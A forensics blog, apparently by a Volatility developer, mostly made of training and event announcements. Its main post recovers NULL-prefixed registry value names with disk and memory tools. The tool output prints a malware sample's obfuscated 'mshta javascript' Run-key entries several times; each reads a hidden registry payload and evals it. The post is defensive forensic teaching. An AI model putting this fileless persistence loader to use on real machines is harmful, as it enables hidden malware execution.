Enfuse Materials

I'd like to thank everyone for coming to my talks at Enfuse 2016.  As promised, here are the materials for the course.  I ask that you don't redistribute the materials elsewhere. You must use the password given to you in class, and the link will expire in 30 days:

https://www.dropbox.com/sh/j5svwjm7kse28i3/AACBTcZQYPgikxYPx_c3E7Apa?dl=0

For those who were asking about other available memory samples, we have several available on the Volatility Wiki. We also have memory samples available from our training website, as well as a lab guide and answer sheet for those of you who asked about using memory samples for your college course materials. As always, feel free to send me an email if you have any Volatility issues or questions.

Registry Value Names Starting with NULL Characters

Recently someone had asked on a mailing list about how to extract the registry value names that were created by a particular piece of malware. The issue was a NULL (0x0) character at the beginning of the registry value name, which prevented regedit from opening the registry key. The name is actually there, however, and consists of this NULL character and some other hex numbers, and you are able to extract it from the raw registry itself (from disk and memory). We'll cover how we may accomplish these tasks, and then we'll cover how to accomplish this over the enterprise, as was asked as a followup question.

Background

The malware in question is referenced in a report by Symantec as well as REAQTA. We have two different registry values depending on whether or not Powershell is available on machine. Either way, the registry keys and values created by the malware are present in the user's personal registry (NTUSER.DAT).

Extracting the Registry

For this part, you may use anything that allows you to pull the registry file from the disk. Some example tools may be:

• FTK Imager
• X-Ways
• EnCase
• Sleuthkit (or Autopsy if you need a GUI)

We're going to use the Sleuthkit to extract the registry file from the local disk in this case (though the process would be the same for an offline or remote disk, just the disk name would differ). So first we need to figure out the offset of the NTFS volume. In order to accomplish that, we would use the mmls utility; we see its invocation on line 1 below. The volume offset is highlighted on line 9 and we see that it is the only NTFS volume on this disk. Next, we need to get the unique identifying information (inode) for the NTUSER.DAT registry file for the user who ran the malware (lines 11-23). After we've identified the inode number for the registry file (372), we then extract it from the disk so that we may process it offline (line 26).

  1 >mmls \\.\PhysicalDrive0
  2 DOS Partition Table                                                             
  3 Offset Sector: 0                                                                
  4 Units are in 512-byte sectors                                                   
  5                                                                                 
  6      Slot    Start        End          Length       Description                 
  7 00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)          
  8 01:  -----   0000000000   0000002047   0000002048   Unallocated                 
  9 02:  00:00   0000002048   0033552383   0033550336   NTFS (0x07)                    
 10                                                                                 
 11 >fls -o 2048 -p -r \\.\physicaldrive0 > paths.txt                                        
 12     
 13 >findstr /i ntuser paths.txt
 15 r/r 10772-128-4:    Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf
 16 r/r 41237-128-3:    Users/Default/NTUSER.DAT
 17 r/r 41238-128-4:    Users/Default/NTUSER.DAT.LOG
 18 r/r 10768-128-4:    Users/Default/NTUSER.DAT.LOG1
 19 r/r 41321-128-1:    Users/Default/NTUSER.DAT.LOG2
 20 r/r 10563-128-4:    Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms
 21 r/r 10773-128-4:    Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms
 22 r/r 433-128-1:  Users/user/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf
 23 r/r 372-128-1:  Users/user/NTUSER.DAT
 24 [snip]
 25 
 26 >icat -o 2048  \\.\physicaldrive0 372 > ntuser-win7x86                                   

Print Keys and Values

Once we have the extracted registry file, we're able to print out the registry key and its values using any offline tool we have at our disposal. Here are a few:

• RegLookup
• Python-Registry
• RegRipper
• Mitec WRR

RegLookup is a nice utility for printing out registry data. You can see an example output of the Run key below, however, note that the value name is not printed out. We are able to see everything else, however:

$ reglookup -p 'Software/Microsoft/Windows/CurrentVersion/Run' NTUSER-Win7x86.DAT
PATH,TYPE,VALUE,MTIME
/Software/Microsoft/Windows/CurrentVersion/Run,KEY,,2016-01-15 21:49:46
/Software/Microsoft/Windows/CurrentVersion/Run/,SZ,mshta javascript:roh0Urp=\x22ehdEAR8I\x22;G9p=new%20ActiveXObject(\x22WScript.Shell\x22);c7r6vhuiFM=\x22moDW7uoJ5\x22;ibh29z=G9p.RegRead(\x22HKCU\x5C\x5Csoftware\x5C\x5Cf42603093a\x5C\x5C2e0575f8\x22);bZU38ElgI=\x229g95uXT\x22;eval(ibh29z);v4SXZYYP=\x22x2\x22;,
/Software/Microsoft/Windows/CurrentVersion/Run/,SZ,mshta javascript:hCLkQp43l=\x22GRB\x22;w5s1=new%20ActiveXObject(\x22WScript.Shell\x22);dXx1Yr6f=\x22uk\x22;S6RUd=w5s1.RegRead(\x22HKCU\x5C\x5Csoftware\x5C\x5Cf42603093a\x5C\x5C2e0575f8\x22);JTMRIu3=\x227Vi\x22;eval(S6RUd);Jkxju49At=\x225S\x22;,

I also wrote a script to use Python-Registry in order to print out registry keys of interest. You can see example output from this below:

 

$ python printkey.py NTUSER-Win7x86.DAT "Software\Microsoft\Windows\CurrentVersion\Run"
Processing NTUSER-Win7x86.DAT
************************************************************************
cmi-createhive{6a1c4018-979d-4291-a7dc-7aed1c75b67c}\software\microsoft\windows\currentversion\run
VALUENAME: 996883f7
VALUE: mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2";

VALUENAME: e4263fbd
VALUE: mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S";

Subkeys: 
************************************************************************

Harlan Carvey also wrote a RegRipper plugin to detect key and value names with NULL characters. Also, if you need a GUI, Eric Zimmerman's registry tool also parses out these names correctly. So in short, you have a lot of options for parsing out these "broken" value names with offline tools.

Printing Keys and Values Using Volatility

As you may guess, you can also get this information using Volatility, but it might not be as straightforward at first. For our first attempt, we will try to use the printkey plugin. Notice that the value name is actually blank in the output below (left side of the colon):

$ python vol.py -f Win7x86.vmem --profile=Win7SP1x86 printkey -K software\\microsoft\\windows\\currentversion\\run
Volatility Foundation Volatility Framework 2.5
Legend: (S) = Stable   (V) = Volatile

----------------------------
[snip]
Registry: \??\C:\Users\user\ntuser.dat
Key name: Run (S)
Last updated: 2016-01-15 21:49:45 UTC+0000

Subkeys:

Values:
REG_SZ                        : (S) mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2";
REG_SZ                        : (S) mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S";

This is because of the way the String class was written. The actual name is still there, however, so we can extract it with volshell. In the code below, lines 4-7 import the RegistryApi to use the correct registry file (in this case the user name "user"). Line 8 gets the key of interest, the "Run" key (defined on line 6). Then lines 10-11 loop through the (raw) values contained for that key and print out the dt() function output for each value.

We can see on lines 15 and 25 that each of these value names have a length of 9, therefore, we should be able to extract a name for these values. We are able to see the raw value for this name by using the .v() function on the object of interest. In this case, we'll use it on the .Name member of the value. On lines 34-35, we can see that we get the correct length for the value name and on lines 36-37 we get the correct value name. We can then rerun our loop on line 39 in order to get the full information for these values.

  1 $ python vol.py -f Win7x86.vmem --profile=Win7SP1x86 volshell
  2 [snip]
  3
  4 In [1]: import volatility.plugins.registry.registryapi as registryapi
  5 In [2]: regapi = registryapi.RegistryApi(self._config)
  6 In [3]: key = "software\\microsoft\\windows\\currentversion\\run"
  7 In [4]: regapi.set_current("NTUSER.DAT", "user")
  8 In [5]: item = regapi.reg_get_key(None, key)
  9
 10 In [6]: for value, data in regapi.reg_yield_values(None, key, given_root = item, raw = True):
 11             print dt(value)
 12    ....:
 13 <CType pointer to [0x0007CC08]>
 14 0x0   : Signature                      vk
 15 0x2   : NameLength                     9
 16 0x4   : DataLength                     412
 17 0x8   : Data                           511024
 18 0xc   : Type                           1
 19 0x10  : Flags                          1
 20 0x12  : Spare                          28515
 21 0x14  : Name     
 22 None
 23 <CType pointer to [0x0007CDD0]>
 24 0x0   : Signature                      vk
 25 0x2   : NameLength                     9
 26 0x4   : DataLength                     378
 27 0x8   : Data                           517464
 28 0xc   : Type                           1
 29 0x10  : Flags                          1
 30 0x12  : Spare                          0
 31 0x14  : Name     
 32 None
 33
 34 In [7]: len(value.Name.v())
 35 Out[7]: 9
 36 In [8]: print str(value.Name.v())
 37 e4263fbd
 38
 39 In [9]: for value, data in regapi.reg_yield_values(None, key, given_root = item, raw = True):
    print value.Name.v(), data
   ....:     
996883f7 mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2";
e4263fbd mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S";

Unfortunately, that's all the time we have for today, but we'll continue this thought sometime next week. Until then, here's a bit of homework for you to watch and a bit to read.

Coming up next: Finding interesting registry values Enterprise-wide

Volshell Quickies

Since someone had asked about it in a comment on this blog, I decided to write up a Volshell Quickie on the Volatility Labs blog. Enjoy!

Linux Memory Forensics: Using mprotect() with PROT_NONE

In case you didn't catch it on the Volatility Labs blog, I found an interesting bug that we've had in the framework since we've had Linux support. If you've had cases that involved Linux samples and plugins like linux_yarascan, linux_strings etc, you might want to update to the latest code and have another look over those samples. Of course, there's no reason to think that a piece of malware might have used this trick and used a sigsegv handler to access the data, but the idea has been around for years...

Some Updates

Wow, it's been a while since I've written here.  A lot has happened since, however.  Here are a few updates:

The Book

We released a book: The Art of Memory Forensics.  For those of you who are considering teaching memory forensics or even operating systems, we have a syllabus and evidence files on our website that you may use in your classes.

Trainings

We have several trainings in line for this year, public and private.  Public trainings currently include:

• Reston, VA April 13th-17th 2015
• New York, NY May 11th-15th 2015
• Amsterdam, NL August 31st-September 4th 2015

We are also currently working on new course offerings coming out this year.  So keep an eye out for those!

Talks

I'll be speaking at the upcoming CEIC conference in Las Vegas, on Wednesday May 20th 2015.  Apparently there is a discount code if you register before January 31st: JANS4v15

The Volatility team will also give another talk at NYC4SEC during the week of the training in NYC this coming May.  More details will be given for that talk soon.

Volatility Talk at Upcoming NYC4SEC

The Volatility team will give a talk at the next NYC4SEC meetup on memory forensics on May 8th, 2014 at John Jay College.  Make sure to RSVP if you are planning to attend, since there is limited seating!

 Thanks For the Memory: Rootkits, Exfil and APT - RAM Conquers All

The ability to perform digital investigations and incident response is becoming a critical skill for many occupations. Unfortunately, digital investigators frequently lack the training or experience to take advantage of the volatile artifacts found in physical memory. Volatile memory contains valuable information about the runtime state of the system, provides the ability to link artifacts from traditional forensic analysis (network, file system, registry), and provides the ability to ascertain investigative leads that have been unbeknownst to most analysts. Malicious adversaries have been leveraging this knowledge disparity to undermine many aspects of the digital investigation process with such things as anti-forensics techniques, memory resident malware, kernel rootkits, encryption (file systems, network traffic, etc), and Trojan defenses.  The only way to turn-the-tables and defeat a creative digital human adversary is through talented analysts.
 
This talk demonstrates the importance of including Volatile memory in your investigations with an overview of the most widely used memory forensics tool, Volatility, by its developers.

-@gleeda

New Volatility Training Website

We have a new website for all of our Volatility training opportunities.  Don't forget to check it out:  http://www.memoryanalysis.net/

- @gleeda

OMFW 2013 Slides

In case you missed it, I put up my slides for my OMFW 2013 talk "Every Step You Take: Profiling the System".  You can find them here on google docs. Some of the animations may not render properly, even if played, but you get the idea.  If you want to see the cyboxer plugin, send me an email (jamie.levy {at} gmail . com).

Volatility News

Things have been busy lately, but I want to let you know about some important items that are coming up quickly:

July 27-30th, 2013: Blackhat Vegas

Andrew Case and I will teach our course in Digital Forensics and Incident Response again this summer at Black Hat Vegas.  This course will cover enough material to take someone from knowing practically nothing about digital forensics (disk and memory) to a point where s/he can comfortably conduct his/her own investigations.  There is limited time to sign up, so reserve your seat while you can!

You can hear Andrew talk about Digital Forensics and Incident Response on the Healthy Paranoia podcast from July 7th, 2013.

August 1st, 2013: Volatility Plugin Contest

The 1st Annual Volatility Plugin Contest deadline is quickly approaching!   Don't miss this opportunity to win over $2000 in cash and prizes and contribute to the top memory forensics framework by writing a plugin for the Volatility Framework and submitting it to volcon2013@memoryanalysis.net by August 1st, 2013.

September 9-13th, 2013: Volatility Training in the Netherlands

We will have our 4th public offering of our official Windows Malware and Memory Forensics training in the Netherlands September 9-13, 2013.  This will be our only offering outside the US for this year.  Past offerings of our course have been well received and were recently described as the "... perfect combination of incident response, malware analysis and Windows internals."  Don't miss out on your chance to take this course and learn not only how to become a Volatility superuser, but how to apply cutting edge memory and malware analysis methodologies against your worst adversary.

November 4th, 2013: Open Memory Forensics Workshop (OMFW)

The Open Memory Forensics Workshop (OMFW) call for papers has been announced.  If you want to give a talk on memory forensics related topics, please get your submission in by September 1st, 2013.  OMFW is a half-day workshop that will be held one day prior to the Open Source Digital Forensics Conference in Chantilly, VA.  This workshop is fast-paced, to the point, highly technical and intended to raise the bar for analysts who realize the importance of memory forensics when faced with a highly skilled adversary.  Not only will you learn a lot and get to meet all the movers and shakers in the space, but your $50 registration fee is entirely donated to charity!  Last year all proceeds went to the National Center for Missing and Exploited Children.  So don't delay: there really is limited seating and it does go quickly.  Make sure to register your seat now!

November 5th, 2013: Open Source Digital Forensics Conference

The Volatility team will be at the Open Source Digital Forensics Conference discussing The State of Volatility.  Come by and see us there :-)

November 11-15th, 2013: Volatility Training in Reston, VA

We will have our 5th public offering of the official Windows Malware and Memory Forensics training in Reston, VA November 11-15th, 2013.  If you missed the last offering in June, this is your chance to take this course and learn from the developers themselves.  As I've stated before, this class includes real-world scenarios that are reinforced with hands-on labs.  We cover more than "just one tool" as some detractors like to say.  We cover methodologies that will actually help you where some tools fail.  You will have a deep enough understanding to investigate even the most skilled adversaries who know how to break common tools in order to hide.  Don't be fooled and don't be left behind.  Accept no imitations and make sure to take this class.

All students who take the official Volatility training receive a certificate of completion, with CPE credits that can be used for certification renewal.  In addition to this, we are constantly updating the course with new material and past students are given updated materials for FREE.  What more can you ask for?  If you are interested in Volatility training, drop us a line at voltraining [[ at ]] memoryanalysis.net

If you want to see co-trainers MHL and Andrew Case (attrc) in action, I managed to find a couple of videos of their previous talks on youtube:

Upcoming Events and Trainings

I have several speaking and training events that are coming up this year that may be of interest to others in the community:

I will be speaking at the New York Banker's Association's upcoming Annual Technology, Compliance & Risk Management Forum on May 16th, 2013 on the topic of Incident Response and Digital Forensics.  If you plan to attend I'll see you there!

Also we (Volatility) are holding our third run of Windows Malware and Memory Forensics in Reston, VA from Monday June 10th through Friday, June 14th 2013.  This training will not disappoint even the most proficient of forensic/malware analysts.  It includes real-world scenarios that are reinforced with hands-on labs.  All students will leave with skills and confidence to conduct investigations involving RAM samples from acquisition to the final report.  Students also leave with more than just being Volatility power users, they leave with a deeper knowledge of memory forensics and malware analysis methodologies.  Such knowledge is integral regardless of what tools you choose for future investigations, be they open source or commercial, and much more powerful than simply "run this tool, the output is colored red so it's bad".  You'll leave the class with knowledge that will help you to figure out if something really is "bad" or not.  There are still a few seats left for this training, so if you are interested you should register soon.  Send an email to voltraining [at] memoryanalysis.net for registration information.

If you are looking for a course that covers both disk and memory forensics, Andrew Case and I will teach our course in Digital Forensics and Incident Response again this summer at Black Hat Vegas.  This course runs from July 27th through July 30th 2013 and will cover enough material to take someone from knowing practically nothing about digital forensics to a point where s/he can comfortably conduct his/her own investigations.

Also we (Volatility) will hold another run of Windows Malware and Memory Forensics in the Netherlands from Monday September 9th through Friday, September 13th 2013.  Details will appear soon on the Volatility Labs blog.

Planning for the Open Memory Forensics Workshop (OMFW) is in progress.  You should plan to attend if you want to know what's new and hot in the memory forensics space.  OMFW is likely to take place on November 4th, 2013 one day prior to the Sleuth Kit and Open Source Digital Forensics Conference.  Final details will appear soon on the Volatility Labs blog.

Windows Malware and Memory Forensics Training in The Windy City!

Cross posted from the Volatility Labs Blog: 

The next journey to the center of Windows Memory Forensics starts in Chicago this March!  

We are pleased to announce the second public offering of the Windows Malware and Memory Forensics Training by The Volatility Project. This is the only memory forensics course officially designed, sponsored, and taught by the Volatility developers. One of the main reasons we made Volatility open-source is to encourage and facilitate a deeper understanding of how memory analysis works, where the evidence originates, and how to interpret the data collected by the framework's extensive set of plugins. Now you can learn about these benefits first hand from the developers of the most powerful, flexible, and innovative memory forensics tool. 
Appraisal from your peers who attended the first course this past December:

Please see the following details about the upcoming training event:
Dates: Monday, March 18th through Friday, March 22nd 2013
Location: Downtown Chicago, IL (exact location will be shared upon registration)
Instructors: Michael Ligh (@iMHLv2), Andrew Case (@attrc), Jamie Levy (@gleeda)
For more information about the course, view the Volatility Training Flyer (to download a copy of the PDF, click File > Download). To request a link to the online registration site or to receive a detailed course agenda/outline, please send an email voltraining [at] memoryanalysis.net.

The 1st Annual Volatility Framework Plugin Contest

Cross posted from the Volatility Labs Blog:

We are pleased to announce the 1st Annual Volatility Plugin Contest. This contest is inspired and modeled after the Hex-Rays Plugin Contest.  As in the case of IDA, Volatility was designed with the belief that talented analysts should only be limited by their creativity not the tools they use. In this spirit, Volatility has a flexible architecture that can be extended in numerous ways: analysis plugins (operating system plugins, application plugins, etc), volshell commands, address spaces, profiles, or user interfaces. This contest is intended to inspire people to demonstrate their creativity, become a memory analysis pioneer, win the admiration of your peers, and give back to the community.

The contest is straightforward: Create an innovative and useful extension to The Volatility Framework and win the contest!

• 1st place wins one free seat at any future Windows Malware and Memory Forensics Training *or* 1500 USD cash
• 2nd place wins 500 USD cash
• 3rd place wins 250 USD cash
• 4th and 5th place wins Volatility swag (T-shirts, Stickers, etc)

Everyone but the Volatility core developers can participate.

Rules of Engagement

1. The goal of the contest is to create innovative, interesting, and useful extensions for The Volatility Framework. While extensions written in Python are preferred, extensions written in other languages will also be considered.
2. The submitted extensions should work with the Volatility 2.2 (or greater) release and should have been implemented after the initial contest announcement (1/14/2013).
3. The top 5 winners of the contest will get the prizes mentioned above.
4. Volatility core developers are not eligible.
5. Submissions should be sent to volcon2013@memoryanalysis.net. The submission should include the source code, a short description of how the extension is used, and a signed "Individual Contributor License Agreement".
6. By submitting an entry, you declare that you own the copyright to the source code and are authorized to submit it.
7. All submissions should be received no later than August 1, 2013. The winner will be announced the following week. We recommend submitting early. In the case of similar submissions, preference will be shown to early submissions.
8. The Volatility Project core developers will decide the winners based on the following criteria: creativity, usefulness, effort, completeness, submission date, and clarity of documentation.
9. In order to collect the cash prizes, the winner will need to provide a legal picture identification and bank account information within 30 days of notification. The bank transfer will be made within two weeks after the winner is authenticated.
10. Group entries are allowed; the prize will be paid (or seat will be registered, if the training option is desired) to the person designated by the group.
11. Upon approval from the winners, their names/aliases will be listed on the "Volatility Hall of Fame" web page for the world to admire.
12. Selected contestants may also be asked to present their work at the 2013 Open Memory Forensics Workshop or have their research featured on the Volatility Labs Blog.

Acknowledgements

A special thanks goes out to the Hex-Rays team for providing the inspiration and template for this contest.

Windows Memory Forensics Training for Analysts by Volatility Developers

We are pleased to announce the first public offering of the Windows Memory Forensics for Analysts training course. This is the only memory forensics course officially designed, sponsored, and taught by the Volatility developers. One of the main reasons we made Volatility open-source is to encourage and facilitate a deeper understanding of how memory analysis works, where the evidence originates, and how to interpret the data collected by the framework's extensive set of plugins. Now you can reap these benefits first hand from the developers of the most powerful, flexible, and innovative memory forensics tool. 

Please see the following details about the upcoming training event:

Dates: Monday, December 3rd through Friday, December 7th 2012
Location: Reston, Virginia (exact location will be shared upon registration)
Instructors: Michael Ligh (@iMHLv2), Andrew Case (@attrc), Jamie Levy (@gleeda). Please see the VolatilityTeam wiki page for brief bios.

Overview:

The ability to perform digital investigations and incident response is becoming a critical skill for many occupations. Unfortunately, digital investigators frequently lack the training or experience to take advantage of the volatile artifacts found in physical memory. Volatile memory contains valuable information about the runtime state of the system, provides the ability to link artifacts from traditional forensic analysis (network, file system, registry), and provides the ability to ascertain investigative leads that have been unbeknownst to most analysts. Malicious adversaries have been leveraging this knowledge disparity to undermine many aspects of the digital investigation process with such things as anti-forensics techniques, memory resident malware, kernel rootkits, encryption (file systems, network traffic, etc), and Trojan defenses.  The only way to turn-the-tables and defeat a creative digital human adversary is through talented analysts.

This course will demonstrate why memory forensics is a critical component of the digital investigation process and how investigators can gain the upper hand.  The course will consist of lectures on specific topics in Windows memory forensics followed by intense hands-on exercises to put the topics into real world contexts. Exercises will require analysis of malware in memory, kernel-level rootkits, registry artifacts found in memory, signs of data exfiltration, and much more. This course is your opportunity to learn these invaluable skills from the researchers and developers that have pioneered the field.  This is also the only memory forensics training class that is authorized to teach Volatility, officially sponsored by The Volatility Project, and taught directly by the Volatility developers.

Who should attend?

This course is intended for malware analysts, reverse engineers, incident responders, digital forensics analysts, law enforcement officers, federal agents, system administrators, corporate investigators, or anyone who wants to develop the skills necessary to combat advanced adversaries.

Course Prerequisites

• It is recommended that students have some experience with the Volatility Framework.
• Students should possess a basic knowledge of digital investigation tools and techniques.
• Students should be comfortable with general troubleshooting of both Linux and Windows operating systems (setup, configuration, networking)
• Students should be familiar with popular system administration tools (i.e. Sysinternals Utilities)
• Student should be both familiar and comfortable with using the command line
• Student should have a basic understanding of Python or similar scripting language

Course Structure

This is a 5-day course composed of both classroom learning and hands-on training exercises and scenarios.  All course material, lunches, and coffee breaks will be provided (If you have unique dietary restrictions, please make them known during registration).

Course Requirements

In order to fully participate in the course, students are required to bring a properly pre-configured laptop.  Students are encouraged to bring laptops that can run both Linux and Windows, where either instance is virtualized based on student preference.  It is the student's responsibility to make sure the laptop is configured prior to the beginning of the course.  There is no time built into the course schedule to help people configure machines, so please make sure your laptop has been properly configured before showing up for class.

Minimum Hardware Requirements:
        2.0 GHz CPU
        4 GB of RAM
        20 GB of disk space
        DVD-ROM drive
        USB 2.0 ports
        Wireless Network Interface Card

Software Requirements:
        Python 2.6 or 2.7
        Microsoft Windows Debugger
        VMware Workstation 6/Fusion 3 or higher
        7-Zip (or ability to decompress zip, gzip, rar, etc)
        Wireshark

Additional free/open-source tools or libraries may be required to complete hands-on exercises. More information will be shared upon registration.

Course Fee:

The cost of the course is $3500. Law enforcement, government, and educational discounts are available.

Registration:

To obtain information on registration, please email voltraining [ @ ] memoryanalysis.net.

Other Course Benefits:

Students will be supporting open source development (Volatility)
Preparation for the Advanced Memory Analyst Certification (AMAC)

ACSAC 2012

I will be teaching a full day course on Windows Forensics and IR at Annual Computer Security Applications Conference (ACSAC) on December 4th at the Buena Vista Palace Hotel & Spa in Orlando, FL. There is still time to sign up for the conference and/or training and it looks like a good program this year.

Week 3 of the Month of Volatility Plugins posted!

Cross listed from Andrew Case's blog:

I was writing to announce that week 3 of the month of Volatility plugins is finished, and we now have five more in-depth blog posts covering Windows and Linux internals and rootkit detection as well as a bonus plugin that analyzes Internet Explorer browsing history. These have all been posted on the Volatility Labs blog.

Post 1: Detecting Malware Hooks in the Windows GUI Subsystem

This Windows focused post covers detecting malware hooks in the Windows GUI subsystem, including message hooks and event hooks, and what effects these hooks can have on a compromised system.

http://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html


Post 2: Shellbags in Memory, SetRegTime, and TrueCrypt Volumes

This Windows focused post covers finding and recovering shellbags from memory, the forensics importance of shellbags, and analyzes the effects of anti-forensics on shellbag timestamps. It concludes with covering the traces left in shellbags by TrueCrypt.

http://volatility-labs.blogspot.com/2012/09/movp-32-shellbags-in-memory-setregtime.html


Post 3: Analyzing USER Handles and the Win32k.sys Gahti

This Windows focused post introduces two new plugins, one named gahti that determines the various different types of USER objects on a system and another named userhandles which traverses the handle table entries and associates them with the owning processes or threads

http://volatility-labs.blogspot.com/2012/09/movp-33-analyzing-user-handles-and.html


Post 4: Recovering tagCLIPDATA: What's In Your Clipboard?

This Windows focused post covers recovery of the Windows clipboard from physical memory.

http://volatility-labs.blogspot.com/2012/09/movp-34-recovering-tagclipdata-whats-in.html


Post 5: Analyzing the 2008 DFRWS Challenge with Volatility

This Linux focused post analyzes the 2008 memory challenge with Volatility. It walks through the artifacts produced by the winning team and shows how to recover the same information with Volatility. It then shows plugins in Volatility that can recover artifacts not produced by the winning team.

http://volatility-labs.blogspot.com/2012/09/movp-35-analyzing-2008-dfrws-challenge.html


Bonus Post: HowTo: Scan for Internet Cache/History and URLs

This Windows focused post covers how to recover Internet Explorer's cache and history from a memory sample.

http://volatility-labs.blogspot.com/2012/09/howto-scan-for-internet-cachehistory.html

If you have any questions or comments on the posts, please leave a comment on the respective post on the Volatility Labs blog.  

Week 2 of the Month of Volatility Plugins posted!

It's been an exciting week in the Volatility community.  We've just finished our second week of Month of Volatility Plugins (MoVP) blogposts, released Volatility 2.2 RC2 for testing, fixed a few minor bugs and now we're gearing up for our third week of posts and the upcoming Open Memory Forensics Workshop (OMFW).  Here is a list of this week's posts, compiled by Andrew Case:

I was writing to announce that week 2 of the month of Volatility plugins is finished, and we now have five more in-depth blog posts covering Windows and Linux internals and rootkit detection. These have all been posted to the new Volatility Labs blog.

Post 1: Atoms (The New Mutex), Classes and DLL Injection

This Windows focused post covers investigating malware and understanding infections by analyzing the atom tables.

http://volatility-labs.blogspot.com/2012/09/movp-21-atoms-new-mutex-classes-and-dll.html

Post 2: Malware in your Windows

This Windows focused post covers enumerating and analyzing windows in the GUI subsystem.

http://volatility-labs.blogspot.com/2012/09/movp-22-malware-in-your-windows.html

Post 3: Event logs and Service SIDs

This Windows focused post demonstrates recovering event logs from memory and calculating service SIDs.

http://volatility-labs.blogspot.com/2012/09/movp-23-event-logs-and-service-sids.html

Post 4: Analyzing the Jynx rootkit and LD_PRELOAD

This Linux focused post covers analyzing the Jynx rootkit as well as generic methods for analyzing LD_PRELOAD based rootkits.

http://volatility-labs.blogspot.com/2012/09/movp-24-analyzing-jynx-rootkit-and.html

Post 5: Investigating In-Memory Network Data with Volatility

This Linux focused post goes through each of the Linux Volatility plugins related to recovering network data from memory, such as network connections, packets, and the routing cache.

http://volatility-labs.blogspot.com/2012/09/movp-25-investigating-in-memory-network.html

If you have any questions or comments on the posts, please leave a comment on the respective post on the Volatility Labs blog.

We hope you've enjoyed this week's series.  Stay tuned, we have much more in store!

Week 1 of the Month of Volatility Plugins posted!

 I'm going to borrow from Andrew's blog here to let you know about our Month of Volatility Plugins:

I was writing to announce that week 1 of the month of Volatility plugins is finished, and we now have five in-depth blog posts covering Windows and Linux internals and rootkit detection. These have all been posted to the new Volatility Labs blog.

Post 1: Logon Sessions, Processes, and Images

This Windows focused post covers linking processes to their logon session, detecting hidden processes using session structures, and determining the loaded the drivers mapped into each session.

http://volatility-labs.blogspot.com/2012/09/movp-11-logon-sessions-processes-and.html

Post 2: Window Stations and Clipboard Malware

This Windows focused post covers enumerating and analyzing window stations and clipboard monitoring malware.

http://volatility-labs.blogspot.com/2012/09/movp-12-window-stations-and-clipboard.html

Post 3: Desktops, Heaps, and Ransomware

This Windows focused post covers finding rogue desktops used to hide applications and created by ransomware, linking threads to desktops, analyzing the desktop heap for memory corruptions, and profiling heap allocations to locate USER objects.

http://volatility-labs.blogspot.com/2012/09/movp-13-desktops-heaps-and-ransomware.html

Post 4: Average Coder Rootkit, Bash History, and Elevated Processes

This Linux focused post covers analyzing the Average Coder rootkit, recovering .bash_history from memory, even when faced with anti-forensics, and finding elevated processes.

http://volatility-labs.blogspot.com/2012/09/movp-14-average-coder-rootkit-bash.html

Post 5: KBeast Rootkit, Detecting Hidden Modules, and sysfs

This Linux focused post covers analyzing the KBeast rootkit, finding modules unlinked from the module list, and the forensic values of sysfs.

http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html


If you have any questions or comments on the posts, please leave a comment on the respective post on the Volatility Labs blog.

Future Volatility posts will appear on our official blog (http://volatility-labs.blogspot.com/).  Also you might want to follow our project on twitter: @Volatility for updates and news.  See you at OMFW!

Job File Parser

While writing material for the Blackhat training course that Andrew Case and I gave this summer, I realized that there did not appear to be many tools that would parse job files. At that time, Harlan Carvey had written a blogpost on job files and had mentioned them in part of his timeline materials, but he had not yet released his Perl script (It has since been released here). This prompted me to write up a parser of my own in Python.

.job files consist of two sections: 1) Fixed Length and 2) Variable Length. The MSDN documentation is fairly good for letting us know how to parse out these sections.

So what does a .job file look like?

 
$ xxd At5.job 
0000000: 0006 0100 e378 73f7 4d8b 2a45 a589 1cc5  .....xs.M.*E....
0000010: fa64 cfd2 4600 cc00 0000 0000 3c00 0a00  .d..F.......<...
0000020: 2000 0000 0014 730f 0000 0000 0513 0400   .....s.........
0000030: 0200 e421 dc07 0700 0100 1000 0b00 1a00  ...!............
0000040: 0000 0f00 0000 0400 6300 6d00 6400 0000  ........c.m.d...
0000050: 0f00 2f00 6300 2000 6e00 6f00 7400 6500  ../.c. .n.o.t.e.
0000060: 7000 6100 6400 2e00 6500 7800 6500 0000  p.a.d...e.x.e...
0000070: 0000 0700 5300 5900 5300 5400 4500 4d00  ....S.Y.S.T.E.M.
0000080: 0000 1e00 4300 7200 6500 6100 7400 6500  ....C.r.e.a.t.e.
0000090: 6400 2000 6200 7900 2000 4e00 6500 7400  d. .b.y. .N.e.t.
00000a0: 5300 6300 6800 6500 6400 7500 6c00 6500  S.c.h.e.d.u.l.e.
